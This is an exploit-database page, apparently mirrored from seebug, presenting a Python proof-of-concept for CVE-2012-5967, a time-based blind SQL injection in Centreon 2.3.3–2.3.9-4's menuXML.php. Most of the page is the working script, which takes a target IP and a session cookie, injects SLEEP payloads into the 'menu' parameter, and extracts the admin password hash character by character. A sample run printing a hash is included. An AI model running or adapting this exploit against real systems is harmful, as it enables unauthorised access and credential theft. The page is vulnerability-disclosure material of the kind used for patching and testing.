Lucene search
K

Centreon Enterprise Server 2.3.3-2.3.9-4 - Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 33 Views

Centreon Enterprise Server 2.3.3-2.3.9-4 - Blind SQL Injection Exploit. Centreon 2.3.3 - 2.3.9-4 menuXML.php Blind SQL Injection Exploit. Vulnerability Found in menuXML.php. Centreon Software Suite monitors and controls information systems

Related
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
Centreon 2.3.3 < 2.4.0 menuXML.php 'menu' Parameter SQL Injection
23 Dec 201400:00
nessus
CVE
CVE-2012-5967
19 Dec 201211:00
cve
Cvelist
CVE-2012-5967
19 Dec 201211:00
cvelist
Exploit DB
Centreon Enterprise Server 2.3.3 &lt; 2.3.9-4 - Blind SQL Injection
13 Dec 201200:00
exploitdb
EUVD
EUVD-2012-5841
7 Oct 202500:30
euvd
exploitpack
Centreon Enterprise Server 2.3.3 2.3.9-4 - Blind SQL Injection
13 Dec 201200:00
exploitpack
NVD
CVE-2012-5967
19 Dec 201211:55
nvd
Packet Storm
Centreon 2.3.x SQL Injection
13 Dec 201200:00
packetstorm
Prion
Sql injection
19 Dec 201211:55
prion
CERT
Centreon 2.3.3 through 2.3.9-4 blind sqli injection vulnerability.
12 Dec 201200:00
cert
Rows per page

                                                #!/usr/bin/env python

# Exploit Title: Centreon 2.3.3 - 2.3.9-4 menuXML.php Blind SQL Injection Exploit
# Disclosure Date: December 12, 2012
# Author: modpr0be (@modpr0be)
# Platform: Linux
# Tested on: Centreon Enterprise Server with Centreon 2.3.9-4 on CentOS 5.5 x86_64 (Final)
# Software Link: http://www.centreon.com/Content-Download/download-centreon-enterprise-server
# References: http://www.spentera.com/2012/12/centreon-enterprise-server-blind-sql-injection/
# CVE-ID: CVE-2012-5967

### DISCLAIMER 
# Script provided &#39;as is&#39;, without any warranty.
# For educational purposes only.
# Do not use this code to do anything illegal.

### Software Description
# The Centreon Software Suite is a set of modular software programs designed for managing 
# and controlling your information systems. It lets you supervise and measure performance and 
# quality of service so that you can optimise the use of your resources.

### Vulnerability Details
# Vulnerability found in menuXML.php inside the &#39;menu&#39; parameter. By injecting payload after the 
# menu parameter, e.g: &#39;  AND SLEEP(5) AND &#39;meHL&#39;=&#39;meHL, the web application hung for 5 seconds, 
# which gives us a conclusion that the web application is vulnerable to time-based sql injection.

## Further notes:
# User with low privilege access (e.g: guest user) can still exploit this vulnerability
# The script below is for PoC of the vulnerability only. 

#      -=] Centreon 2.3.3 - 2.3.9-4 Time-based BlindSQLi Exploit [=-
#               [ by modpr0be  - research[at]spentera.com ]
#                   
# (!) We need the target IP: 172.16.199.150
# (!) Put the value of a valid PHPSESSID session: 3uh52mtl1hlmsha4nmkftde5l3
# (-) Using Time-Based method with 1s delay. This will take some time, go grab a coffee..

# (!) Getting admin password hash: 2995cb0650c5f107230ed569a8c4d6e5
# (-) Done! Admin password hash extracted in 676 seconds

### Solution
# Update to Centreon 2.4.0 or newer.

### Disclosure timeline
# 10/26/2012 - Bug found and reported to CERT/CC
# 12/07/2012 - Update from CERT/CC to publish on 12/12/2012
# 12/12/2012 - Security advisory released via CERT/CC

import sys,time,urllib,urllib2

print &#34;&#34;&#34;
-=] Centreon 2.3.3 - 2.3.9-4 Time-based BlindSQLi Exploit [=- 
	[ by modpr0be  - research[at]spentera.com ]
&#34;&#34;&#34;
host = raw_input(&#34;(!) We need the target IP: &#34;)
target = &#39;http://%s/centreon/menu/xml/menuXML.php&#39; %(host)

# sid is the same as PHPSESSID session value, so put the value of PHPSESSID here
sid = raw_input(&#34;(!) Put the value of a valid PHPSESSID session: &#34;)
cookie = &#39;PHPSESSID=%s&#39; %(sid)

# SQLi delay, tested on LAN environment. 
# Consider if it&#39;s a remote target, you may increase the delay value (default: 1 seconds)
delay=1

print &#34;(-) Using Time-Based method with %ds delay. This will take some time, go grab a coffee..\n&#34;%int(delay)

def Hex2Des(item):
       	return ord(hex(item).replace(&#39;0x&#39;,&#39;&#39;))

def adminhash(m,n):
	#borrow from SQLmap :)
	adminquery=(&#34;&#39; AND 9999=IF((ORD(MID((SELECT IFNULL(CAST(contact_passwd AS CHAR),0x20) FROM contact&#34;
		   &#34; WHERE contact_id=1 LIMIT 0,1),%s,1)) &#62; %s),SLEEP(%s),9999)  AND &#39;mEhL&#39;=&#39;mEhL&#34; %(m,n,delay))
	
	value = { &#39;menu&#39;: &#39;2&#39;+adminquery,
			  &#39;sid&#39;: &#39;%s&#39;%(sid)  }
	
	url = &#34;%s?%s&#34; %(target,urllib.urlencode(value))
	req = urllib2.Request(url)
	req.add_header(&#39;Cookie&#39;, cookie)
	try:                                        
    		starttime=time.time()
    		response = urllib2.urlopen(req)     
    		endtime = time.time()
    		return int(endtime-starttime)
	except:                                             
    		print &#39;\n(-) Uh oh! Exploit fail..&#39;                
    		sys.exit(0)

sys.stdout.write(&#39;(!) Getting admin password hash: &#39;)
sys.stdout.flush()

starttime = time.time()
for m in range(1,33):
	for n in range(0,16):
		wkttunggu = adminhash(m,Hex2Des(n))
		if (wkttunggu &#60; delay):				
			sys.stdout.write(chr(Hex2Des(n)))
			sys.stdout.flush()
			break
endtime = time.time()
print &#34;\n(-) Done! Admin password hash extracted in %d seconds&#34; %int(endtime-starttime)

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation